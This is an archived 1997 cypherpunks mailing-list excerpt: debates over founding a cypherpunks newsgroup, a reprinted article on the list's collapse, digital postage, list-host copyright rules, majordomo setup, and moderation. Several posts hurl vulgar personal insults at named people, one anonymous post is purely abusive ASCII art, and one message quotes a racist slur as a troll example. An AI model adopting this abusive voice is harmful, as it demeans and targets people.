> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > > >
> > > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > > >over an alt.* newsgroup:
> > > >
> > > >1) There is usually less spam in sci.* or comp.*
> > > >2) There are virtually no completely irrelevant flamewars
> > > >3) The propagation will be a lot better
> > > >4) More people will be able to read it because of the issue of providers
> > > >   not carrying alt.*.
> > > >
> > > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > > >alt.* newsgroup.
> > >
> > > Sure, and this has come up in every past discussion of creating
> > > "alt.cypherpunks."
> > >
> > > But the creation of alt.cypherpunks is _easy_, and needs little permissio
> > > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > > takes work, requires a vote, blah blah blah. And so it never gets off the
> > > ground.
> > >
> > > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > > best fit, but then many would cite the "comp" part to try to insist that
> > > only _computer_ topics be discussed. Likewise, the "soc" domain would ske
> > > discussion...etc. "Alt" has the nice advantage of explicitly not be part
> > > sci, or comp, or soc, or even talk.)
> > >
> > (I apologize to everyone whose e-mail has gone unanswered this week - I've
> > had a bunch of other stuff to do, but I'll get to it eventually. Also,
> > I posted
> > the Anshel+Goldfield zeta function paten number - do check it out.)
> >
> > Random thoughts:
> >
> > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > firewall lets them.)
>
> > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > It takes a vote. I'm willing to be one of the proponents and generally help
> > with the process. (Both I and Igor have been co-proponents of major Usenet
> > newsgroups - don't know about other people onthis list. :-)
>
> Not only it takes a vote. What is more important is what a vote gives:
> a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> ensures that, on average, a good balance is found between various groups
> of readers.
>
> I am not concerned as to what the name of the group will be, it is
> not important. What is important is that it should be in a more or
> less flame-free zone.

I'm concerned about smart people stuck behind corporate firewalls
and able to see comp.* and sci.*. Nearly every big Wall St firm
is that way. Did I ever relate to you the story how I had to
break through the firwall at GS to accomplish mywork?

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

Timmy has a valid point: the reason why a comp.* newsgroup might have less
cross-posted and "off-topic" crap is because net.cops would be more
likely to complain to posters' sysadmins. Having a charter state that
cypherpunks have technical means to ignore traffic they don't like,
and don't need anyone forging cancels or complaining to sysadmins
or otherwise getting silenced, is a good idea.

What's going to happen when (not if) someone posts something in
alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
and forges a cancel? Or someone posts a binary and Richard
"little dick" Depew forges a cancel?

> > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > list. I've been thinking of how to deal with crap, and with the obvious des
> > by some people to delegate their decision what to read and what not to read
> > to other people.
>
> It is alt.* and soc.* that has most crap, sci and comp are way better.

There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
sysadmins of anyone posting to that newsgroup who's in a member of the
"in" crowd". It may or may not cut down on the crap, but is it worth it?

> > Most people don't have nocem-enabled newareaders yet... Which is where the
> > network of cypherpunks majordomos Igor's been busy creating comes in very
> > handy.
> >
>
> It is a very good idea to let NoCeM issuers and filterers work
> independently from list nodes.


Yes - from the legal liability point of view (since it bothers the lying
cocksucker Gilmore (spit, fart, belch) so  much): suppose someone
anonymously posts  skipjack source code to alt.cypherpunks. Under the
present systen, say, the arachelian asshole might decide not to forward
it to his mailing list feaing the NSA. NoCeM's can separate the function
of highlighting interesting articles from the function of forwarding
these articles to subscribers who only want to see the highlighted
articles.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 08:05:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale-Further proof
Message-ID: <199702131605.IAA21730@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another Dale day (blah):

:Date: Wed, 12 Feb 1997 22:37:58 -0800
:From: Dale Thorn <dthorn@gte.net>
:To: cypherpunks@toad.com
:CC: dlv@bwalk.dm.com

:Another blood stain on Gilmore's shroud, as it were.

As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.

Ipso facto.

As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

And, cc: Doctor V., no less. What cabal is this with cc's in the clear? 

Love you, fella.
(You can tell, can't you.) 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 14 Feb 1997 08:12:02 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <3.0.32.19970213082845.006c9298@best.com>
MIME-Version: 1.0
Content-Type: text/plain


The provocateurs won.
Too bad.  Seems Cpunks caved to the simplest of attacks.
Proves you don't need key-escrow or any of the rest to 
  ahem, "affect" unfettered discourse in cyberspace.




At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   
>       The plan for the cypherpunks mailing list was simple. It was to be
>   an online gathering place, an intellectual mosh pit, dedicated to the
>   free flow of ideas and personal privacy through encryption.
>   
>       Of course it caught on. From its modest beginnings connecting a
>   few friends who lived in Northern California, it quickly grew into one
>   of the most rowdy, volatile lists on the Net: Cypherpunks typically
>   piped more than 100 messages a day into the mailboxes of nearly 2,000
>   subscribers. And the list became a kind of crypto-anarchist utopia.
>   Populated by pseudonymous posters with names like Black Unicorn, it
>   was a corner of cyberspace where PGP signatures and digital cash were
>   the norm -- and there were no rules. Then yesterday came the news: The
>   list was being evicted and faced imminent shutdown.
>   
>       In an e-mail seen 'round the Net, John Gilmore, Electronic
>   Frontier Foundation cofounder and list maintainer, announced that he
>   was no longer willing to provide a virtual home for the cypherpunks.
>   In a post entitled "Put Up or Shut Up," he described how his efforts
>   to improve the list through moderation were condemned, how technical
>   problems were consuming more of his time, how pranksters had tried to
>   subscribe the entire U.S. Congress to the list. How this experiment in
>   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
>   lodgings.
>   
>       "The last straw for me was seeing the reaction of the list to
>   every attempt to improve it. It was to carp, to cut it down, to say
>   you're doing everything wrong," Gilmore told me yesterday night. One
>   of the first employees of Sun, Gilmore quit after eight years -- a
>   millionaire more interested in pursuing ideas than dollars. But his
>   experiment with the list has left him weary. "If everything I'm doing
>   is wrong, I'm clearly not the right person to host the list," he said.
>   
>       "I would like to see some other structure in which the positive
>   interactions on the list could continue. I'm not trying to create that
>   structure anymore," he added. Instead, he would try the only true
>   crypto-anarchist solution: "I'm handing it over to members to do what
>   they wish with it."
>   
>       The cypherpunks first pierced the public's consciousness when
>   Wired magazine splashed them across the cover of the second issue. The
>   Whole Earth Review and the Village Voice followed soon after. The name
>   "cypherpunk" came to be synonymous with a brash young breed of
>   digerati who were intent on derailing the White House's encryption
>   policies and conquering cyberspace. This was crypto with an attitude.
>   
>       Gilmore was typical of the breed. Monthly Bay Area meetings of the
>   'punks were held in the offices of Cygnus, a company he started to
>   provide support for the free Unix alternative, GNU.
>   
>       But the veteran cypherpunk came under heavy fire in November 1996,
>   when a loudmouthed flamer flooded the list with flame bait and ad
>   hominem attacks on various members. Finally, Gilmore, ironically, gave
>   him the boot -- and incited an all-consuming debate over what the
>   concept of censorship means in a forum devoted to opposing it. In a
>   society of crypto-anarchists, who should make the rules? The mailing
>   list melted down. By last month, it seemed, more messages complained
>   about censorship than discussed crypto.
>   
>       Indeed, for months Gilmore seemed unable to do anything right. He
>   tried moderation, which proved to be even more contentious, raising
>   the question of empowering one cypherpunk to decide what was
>   appropriate for others to read. One member of the group, in effect,
>   would be more equal than the rest. And why would members take the time
>   to write elaborate, thoughtful articles on crypto-politics if their
>   treatises might not make it past the moderator's keyboard?
>   
>       After the expulsion, some of the longtime list denizens left
>   angrily, joining the 700 subscribers who had departed since the
>   controversy began. One of those was Tim C. May, a crusty former Intel
>   engineer who prides himself as the organizer of the first cypherpunk
>   meeting in September 1992. In an essay summarizing the reasons for his
>   departure, he wrote: "The proper solution to bad speech is more
>   speech, not censorship. Censorship just makes opponents of 'speech
>   anarchy' happy -- it affirms their basic belief that censors are
>   needed."
>   
>       After all, May pointed out, the list ended up on Gilmore's
>   toad.com machine only by happenstance -- it almost was housed on a
>   workstation at the University of California at Berkeley. Ownership of
>   the computer with the database of subscribers did not mean that
>   Gilmore owned the cypherpunks. "Whatever our group once was, or still
>   is, is not dependent on having a particular mailing list running on
>   someone's home machine... and it cannot be claimed that any person
>   'owns' the cypherpunks group," May wrote.
>   
>       The cypherpunks have responded to Gilmore's eviction notice. List
>   participants generally have halted the incessant attacks on Gilmore,
>   and now the discussion has turned to how to continue this experiment
>   in online anarchy -- while preventing one person from ever again
>   having absolute control of the List. Within hours of Gilmore's
>   announcement, posters were tossing around ideas of a distributed
>   network of mailing lists that would carry the cypherpunk name, and
>   other 'punks likely will migrate to the more tightly controlled
>   coderpunks and cryptography lists.
>   
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>   
>###
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Thu, 13 Feb 1997 07:37:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Tempest
Message-ID: <199702131537.IAA09202@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased L<oad> Villainous K<rud>OTM's father, an idiot, stumbled
across Deceased L<oad> Villainous K<rud>OTM's mother, an imbecile,
when she had no clothes on. Nine months later she had a little moron.

           o
       /\O/        O Deceased L<oad> Villainous K<rud>OTM
      0  \\    | 0-#
         //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 08:53:15 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: More on Digital Postage
In-Reply-To: <v03007805af2801044089@[207.167.93.63]>
Message-ID: <v03007800af28f71d3a32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

>on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

>+Having said this, the flaw remains that "junk mail" is "free" to the
>+sender. This is a flaw in the ontology of e-mail, and needs to be
>+fixed. Digital postage is one approach.
>
>    probably cut down on our postings to cp as well!  32 cents to post?
>

I'm sure Attila does not believe any digital postage scheme would fix the
message rate at 32 cents, but it's an issue worth expanding upon.

First, the rate would be based on true market conditions, presumably. That
is, carriers of traffic would negotiate rates. Multiple stages of carriage
would involve negotiation between carriers.

(As with shipment of physical goods, where a shipment from Alice to Bob
might involve several carriers: trucks, trains, warehouse use, delivery
vans, toll road fees. All are "folded in" to the $3 or whatever charge paid
by Alice or Bob, depending.)

Second, the carriage charges for an ordinary e-mail message would likely be
in the sub-cents range.

Third, I don't see this ontological restructuring happening anytime soon.
People have gotten used to "free" services.

Fourth, we need to be alert to moves by the U.S. Postal Service to get a
foot in the door for "digital postage." There's nothing they'd like more
than having people clamor for the government to "do something!" about spam
and "unwanted mail" and thus get this foot in the door.


>    unfortunately, until the irresponsible tone down their greed, we
>    need the regulation to protect ourselves from the predators.
>
>    in other words, I agree with you in my heart, but our society
>    refuses to cooperate.

Attila and I have had this disagreement before (last time it involved
Attila's support for curfews).

Attila is free to hire agents to screen his mail so he does not receive
spam. He is not free, in a free society, to force such screeners upon me.

Talking about "irresponsible tones" and "greed" and how we need more laws
to protect ourselves from "predators" sounds more like something from the
Marin County limousine liberal set than from a Utah mountain man
Cypherpunk. I'm shocked, simply shocked.

(:-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 07:11:45 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3302E815.5E66@netbox.com>
Message-ID: <199702131504.JAA20582@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


This is where the distributed nature of the list comes   in.

if someone disagrees with Jim's AUP, he or she can use soem other
mailing list host.

igor

Greg Broiles wrote:
> 
> (Readers curious about Jim Choate's list ownership/acceptable use
> policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)
> 
> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 
> 
> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard. It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed. Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.
> 
> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 
> 
> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 
> 
> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not, given that an assignment or transfer of copyright
> must be in writing, 17 USC 204; and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list. A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 
> 
> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.
> 
> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 
> 
> If the rule only applies to the ssz.com version, what's the point?
> 
> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 
> 
> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 
> 
> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 
> 
> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?
> 
> --
> Greg Broiles                | US crypto export control policy
> gbroiles@netbox.com         | in a nutshell:
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> ======================================
> == This list is still experimental. ==
> == complain to ichudov@algebra.com  ==
> ======================================
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 07:39:21 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <o7D32D23w165w@bwalk.dm.com>
Message-ID: <199702131535.JAA20917@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com writes:
> > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > > firewall lets them.)
> >
> > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > > It takes a vote. I'm willing to be one of the proponents and generally help
> > > with the process. (Both I and Igor have been co-proponents of major Usenet
> > > newsgroups - don't know about other people onthis list. :-)
> >
> > Not only it takes a vote. What is more important is what a vote gives:
> > a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> > ensures that, on average, a good balance is found between various groups
> > of readers.
> >
> > I am not concerned as to what the name of the group will be, it is
> > not important. What is important is that it should be in a more or
> > less flame-free zone.
> 
> I'm concerned about smart people stuck behind corporate firewalls
> and able to see comp.* and sci.*. Nearly every big Wall St firm
> is that way. Did I ever relate to you the story how I had to
> break through the firwall at GS to accomplish mywork?

Would be interesting.

> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

It is not only because of that. There are two categories of people
who simply do not visit com.* groups: sex spammers and trollers
(who post articles like I RAPED A NIGGER CHILD to tens of newsgroups).

If the group is created in a space that is isolated from them, that is
already good.

As for net.cops, check out what Scott Nudds does in comp.lang.c++

> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?

Chris Lewis can exclude newsgroups from his spam watch. I think that
if cypherpunks put something forbidding third party cancels into the
charter, he will not cancel stuff posted there.

> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?

Yes, there is a notorious net.cop The Right Reverend Colin James III (spit).

A sample of his stukachestvo is attached at the bottom of this letter.


>From ares.csd.net!cjames  Fri Dec  8 00:00:29 1995
Return-Path: <cjames@ares.csd.net>
Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp
        (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST
Received: by ares.csd.net (5.65/DEC-Ultrix/4.3)
        id AA08055; Thu, 7 Dec 1995 22:02:44 -0700
Message-Id: <9512080502.AA08055@ares.csd.net>
From: cjames@ares.csd.net (Colin James III (The Rt Rev'd))
To: ichudov@espcbw.stat.ncsu.edu (Igor Chudov),
        postmaster@espcbw.stat.ncsu.edu, postmaster@stat.ncsu.edu,
        postmaster@ncsu.edu
Subject: Re: Nauseating typedefs -- pros and cons
Date: Fri, 08 Dec 1995 03:13:53 GMT
Organization: CEC Services
Reply-To: cjames@ares.csd.net
References: <461dph$ske@saba.info.ucla.edu> <48np3j$1b4@solutions.solon.com> <4a
7rpv$fj@taco.cc.ncsu.edu>
X-Mailer: Forte Agent .99b.112
Status: RO

On 7 Dec 1995 23:02:23 GMT, ichudov@espcbw.stat.ncsu.edu (Igor Chudov)
wrote with possible deletions:

| Douglas Evan Cook (cookd@bert.cs.byu.edu) wrote:
| *                     The real question comes down to: when do you need to 
| * use INT32 or INT16?  Usually, you only need it when you are saving info 
| * to a disk or when you need to make sure that your numbers won't 
| * overflow.  A little bit of hardware control is also given.  But when you 
| * don't get those advantages, a plain int is just great.
| 
| It is NOT great at all. Each variable is associated with a range of
| values. This range of values comes from the requirements of external world. 
| Say, some program _must_ be required by business rules to store
| $$ amount as an integer value, and it may be specified in the
| requirements that $$amount cannot be more than $1,000,000. If I,
| as a careless programmer, program variable dollar_amount as int
| just because my RS6000 has 32-bit ints, this program will NOT be
| portable to 16-bit computers.
| 
| You can invent an untold amount of such situations. If I defined
| DollarAmount_t as UINT32, I would effectively avoid this trouble.
| 
| * So for your scanf 
| * vars, just use ints.  Then do range checking and then assign them into 
| * the UINT16 type or whatever only if you need to.
| 
| The solution is very simple and cool (IMHO). 
| 
| In the same file where you define INT16, UINT32, etc, add the following: 
| 
| #ifdef AIX
|   typedef long INT32;
|   #define F_INT32 "ld"
| 
|   typedef unsigned short UINT16;
|   #define F_UINT16 "u"
| #endif
| 
| #ifdef YOUR_FAVORITE_MACHINE
|   typedef short INT32; // Maybe for 64-bit machines, never worked with them
|   #define F_INT32 "d"
| ... etc etc ...
| 
| Then you define your user types: 
| 
|   typedef INT32 DollarAmount_t;
|   #define DollarAmount_f INT32_F // You make it a rule to define
|                                  // formats right along with types
| 
| Usually, in scanf (and printf) people write things like this: 
| 
|       printf( "%ld is the dollar amount for customer %4.4d\n", 
|               amount, cust );
| 
| Instead, you write
| 
|       printf( "%" DollarAmount_f " is the dollar amount for customer "
|               "%4.4" Cust_f,
|               amount, cust );
| 
| It is a totally portable code. All you need to port primitive types 
| is to recompile it.
| 
| -- 
|    - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html
|    For public PGP key, finger me or send email with Subject "send pgp key"
| 
| You know you have achieved perfection in design, not when you have nothing 
| more to add, but when you have nothing more to take away.
|                           - Antoine de Saint Exupery.

Kindly remove comp.lang.eiffel from distribution of this thread.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
Colin James III, Principal Scientist           cjames@csd.net
CEC Services, 2080 Kipling St, Lakewood, CO  80215-1502   USA
Voice: 303.231.9437;  Facsimile: .231.9438;  Data:  .231.9434  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Thu, 13 Feb 1997 09:47:54 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: distributed mailing list architecture
Message-ID: <v02140b01af28fcafe195@[206.184.146.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 PM 2/7/1997, Adam Back wrote:
>Igor Chudov <ichudov@algebra.com> writes:
>> I'd suggest a simplier solution: to connect each server with a couple,
>> or maybe three, other servers. This scheme is rather robust, does not
>> consume too much CPU time and bandwidth, and is easy to implement.

> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

> Have one main majordomo.

> Have many mail-exploders.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.

> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).

> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.

> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).

> The mail-exploders send mail to the address on their subscriber lists.

> (John Gilmore suggested this architecture, as a simpler alternative).

This mostly solves the performance problem, but performance was not the
only choke point.  It is important to have many machines which accept
posts and which send them to other machines.

(Also, many interconnections means that few messages have to go through
more than two machines which should make message distribution
extraordinarily fast and highly redundant.  Standing in the way of
the cypherpunks list will be like standing in the way of the wind.)

I suggest we consider the problem of subscriptions to be independent
of the problem of posting and distributing messages.

Some machine owners may wish to pool subscription activities.  The
fast and easy approach is to have an official cypherpunks subscription
page which lists all of the mail servers which will accept new
subscribers.  (The person who maintains this page would ideally not
be somebody running a mail server.)  The interested person looks
at the page and then picks a majordomo to subscribe to.

It seems beneficial to me from a technical and social standpoint to
have a web of relationships between list managers and subscribers.
If as a subscriber you have some sort of problem (technical or social),
it will work better if there is just one person to talk to rather than
a loose network of volunteers.

Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 13 Feb 1997 06:53:25 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
In-Reply-To: <199702130511.VAA29241@toad.com>
Message-ID: <m0vv2XO-0000vKC@wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com enscribed thusly:

> Hi All,

> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.

	Majordomo 1.94 and above...

	subscribe_policy = open+confirm

	Last I looked, majordomo does not have subscription expirations
or periodic confirmations.  A couple of months ago someone else on a large
mailing list I help run suggested a package that would periodically mail
a bounce probe.  The probe would have explicit instructions to do NOTHING
if you wanted to remain on the list, just ignore the message.  If the
message came back, due to an E-Mail bounce, vacation program, or someone
who decided they didn't want to remain on the list after all, you toasted
them off.  Sort of an inverse confirmation message.  I lost the message
about the package before I could find it.  It sounds like a great compliment
to majordomo.  Maybe should be another feature for majordomo?  Anyone who
has heard of this add-on, let me know.  I'm still looking for it.

> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> as users to confirm their existing subscriptions.

	The instruction which go back with the job results and the confirmation
need to be beefed up.  I've had a lot of subscribers get "confused" when
their STUPID windows mailer breaks their "auth" message into two lines and
majordomo refuses to recognize it.  Forwarding the confirmation message
back or "replying" to it tend to screw up big time, so I modified the message
in my version to instruct users to "create a new message with this line as
the only line in the body".  It's cut down on the screwed up subscriptions
immensely.

	Majordomo also needs to be enhanced a bit to flush out bits and pieces
of floatsam in the E-Mail address that are not valid E-Mail addresses...
Example:  "Michael H. Warfield" <mhw@wittsend.com> would result in messages
going back to Michael, H., and Warfield, as well as mhw@wittsend.com.  I'm
planning on cleaning out any whitespace separated tokens which do not
contain an embedded "@" followed by a least one "." and ending with an alpha
or a ".".  That's on my to-do list for this week or next...  Along with
upgrading to 1.94.1.

> Is there any way to do it?

> Thank you.

> 	- Igor.
> 

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 13 Feb 1997 09:45:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keep it Simple and the Cypherpunk Way
Message-ID: <199702131737.JAA17690@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 11:42 AM -0500 2/13/97, Derek Atkins wrote:

>Unfortunately, the messages that make it through to the cypherpunks
>list have their MessageID changed when they get approved.  So,
>checking for duplicates by MessageID fails, given the current approval
>mechanism. :(
>
>I've informed Sandy of the problem, but he doesn't know how to
>preserve the original MessageIDs.

I will phrase my message here as respectfully as possible vis-a-vis the
goals of the moderation experiment. That is, I will only deal with one
aspect, the one of _costs_ of the moderation experiment.

To wit, the _costs_ of the moderation experiment--Sandy's time, our time
spent debating moderation, and now the issues raised by Michael Froomkin
and others about dealing with the chaos of multiple, overlapping
lists--greatly exceed the relatively small amount of effort it took anyone
to simply delete the insult posts, the ASCII art posts, etc.

I respectfully submit that the huge costs incurred on several parties have
cumulatively far exceeded the minor savings of not having a handful of the
'bot-generated insults of the day and some of the ASCII art generated. As
to the "comity" of the list, the moderation experiment has clearly had just
the opposite effect, predictably. (Imposing comity is rarely easy,
especially given an independent bunch of folks who are suspicious of
moderators screening their words for evidence of non-comity!). And the ill
will generated toward certain folks has been regrettable, and vastly more
costly than any minor savings in not having to see a few messages. 

"Keep it simple, stupid," the oft-quote KISS principle.

A moderation scheme--except perhaps those run very tightly a la Peter
Neumann's RISKS list--almost always bogs down into debates about the
moderation criteria, the acceptability of certain posts, and so on. Now we
see another effect: multiple lists and a confusing array of cross-posts,
mail-to-News gateways, News-to-mail gateways, etc.

The "Cypherpunks Way" is to encourage and empower people to filter their
own stuff, or to hire outside contractors to do it for them. Failing that,
to let them twist slowly in the wind. "Think of it as evolution in action."

The Cypherpunks Way is also the simplest system.

I hope this episode has reminded us of this lesson.

--Tim May

-- 
Boycott "Big Brother Inside" software!
